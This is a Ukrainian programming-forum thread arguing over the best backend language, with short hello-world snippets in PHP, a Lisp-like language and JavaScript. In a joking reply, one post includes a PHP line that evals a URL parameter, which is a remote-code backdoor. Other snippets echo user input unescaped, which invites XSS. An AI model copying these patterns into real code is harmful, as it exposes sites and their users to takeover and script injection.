1

Тема: Найкраща мова для веб-розробки (бекенд)

Тут люблять критикувати php. Безумовно, ця мова має свої недоліки, і колись її витіснить щось інше. Але хотілось би бачити приклади того, чим пропонується її замінити. Бажано з прикладами коду та іншими технічними подробицями (просто читати, хто голосніше напише «моя мова краща», не дуже цікаво).

Як відомо, php дозволяє без зайвих зусиль створювати прості веб-сторінки:

<?php
if(!empty($_GET['name'])
    echo "Hello, ".$_GET['name']."!<br>";
?>
<form method=GET>
Your name: <input name=name> <input type=submit>
</form>

А як би виглядав аналогічний проект на вашій улюбленій мові?

py -3 -m pip install git+https://github.com/snoack/python-goto

2

Re: Найкраща мова для веб-розробки (бекенд)

Проект на 7 рядків?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Master_Sergius1

3

Re: Найкраща мова для веб-розробки (бекенд)

проект на вашій улюбленій мові?

Українській ?
жартую. Навіть не знаю

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі

4

Re: Найкраща мова для веб-розробки (бекенд)

Прихований текст
http://np.ks.ua/wp-content/uploads/2015/05/sho.jpg

Та й це не проект, ще можна помірятися де найкоротший "Hello World" (бо в інтерпретованих мовах, це по суті вже і готово).
Міряйтеся якимись серйозними речами, коли так кортить (Я вже тут казав про Github на Ruby)

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/
Подякували: 0xDADA11C71

5 Востаннє редагувалося VTrim (15.12.2015 23:15:42)

Re: Найкраща мова для веб-розробки (бекенд)

`

Куди не кину оком стомленим – кругом ху…ня ©

6

Re: Найкраща мова для веб-розробки (бекенд)

як би виглядав аналогічний проект на вашій улюбленій мові?

(print
    (if (param name)    ("Hello, " + (param name) + "!<br>"))
    `<form method=GET>
    Your name: <input name=name> <input type=submit>
    </form>`
)
Подякували: quez, P.Y.2

7

Re: Найкраща мова для веб-розробки (бекенд)

Найкраща мова для веб-розробки (бекенд): Ruby з його RoR, потім Java, а потім python

8

Re: Найкраща мова для веб-розробки (бекенд)

Хаскель з Єсодом .

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

9

Re: Найкраща мова для веб-розробки (бекенд)

IhorGorobets написав:

Найкраща мова для веб-розробки (бекенд): Ruby з його RoR, потім Java, а потім python

quez написав:

Хаскель з Єсодом .

Приклади коду будуть (необов'язково хеловорд з формою — можна й щось складніше, щоб продемонструвати об'єктивні переваги цих мов)?

py -3 -m pip install git+https://github.com/snoack/python-goto

10

Re: Найкраща мова для веб-розробки (бекенд)

Itari написав:

як би виглядав аналогічний проект на вашій улюбленій мові?

(print
    (if (param name)    ("Hello, " + (param name) + "!<br>"))
    `<form method=GET>
    Your name: <input name=name> <input type=submit>
    </form>`
)

На чому це?

py -3 -m pip install git+https://github.com/snoack/python-goto

11

Re: Найкраща мова для веб-розробки (бекенд)

Invader написав:

Проект на 7 рядків?

Чому ні? Одна з переваг php — мінімалізм у простих ситуаціях. Скажімо, аналогічний веб-хеловорд на джаві буде вже не семирядковим і потребуватиме такого ж розміру XML для супроводу.

py -3 -m pip install git+https://github.com/snoack/python-goto

12

Re: Найкраща мова для веб-розробки (бекенд)

Висновок php ідеальна мова для 7 рядкових програм.

13

Re: Найкраща мова для веб-розробки (бекенд)

пітон всіх задушливий

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі

14

Re: Найкраща мова для веб-розробки (бекенд)

А тепер питання яку мову підтримують більшість хостингів? А яку ще?

От вам і найкращі - бо всюди працюватимуть.

15

Re: Найкраща мова для веб-розробки (бекенд)

Djalin написав:

А тепер питання яку мову підтримують більшість хостингів? А яку ще?

От вам і найкращі - бо всюди працюватимуть.

Розглядаймо ідеальну ситуацію, коли ми самі вирішуємо, що́ ставити на сервер. Треба лише об'єктивно вирішити, що́ з усіх мов найкраще. Поки що ми побачили лише 7-рядковий хеловорд на php, 6-рядковий на точно не знаю чому, а також назви кількох інших мов, на яких, судячи з усього, писати код неможливо.

py -3 -m pip install git+https://github.com/snoack/python-goto

16 Востаннє редагувалося VTrim (16.12.2015 11:05:03)

Re: Найкраща мова для веб-розробки (бекенд)

Як вище написали, це занадто простий приклад. Він пишеться навіть на фронтенді js

<div id="result"></div><input id="text" type="text" placeholder="Your name"><button id="send">Надіслати</button>
<script>
document.getElementById("send").onclick = function() {
document.getElementById("result").innerHTML = "Hello,"+document.getElementById("text").value;
};
</script>
Куди не кину оком стомленим – кругом ху…ня ©

17

Re: Найкраща мова для веб-розробки (бекенд)

На чому це?

На розробленой мною мові

18

Re: Найкраща мова для веб-розробки (бекенд)

Хіба ви придумали лісп?

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

19

Re: Найкраща мова для веб-розробки (бекенд)

quez написав:

Хіба ви придумали лісп?

А хіба я говорив, що це саме лісп?

20

Re: Найкраща мова для веб-розробки (бекенд)

Itari написав:
quez написав:

Хіба ви придумали лісп?

А хіба я говорив, що це саме лісп?

Якщо показати лісп, то вже необов'язково казати, що то лісп.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ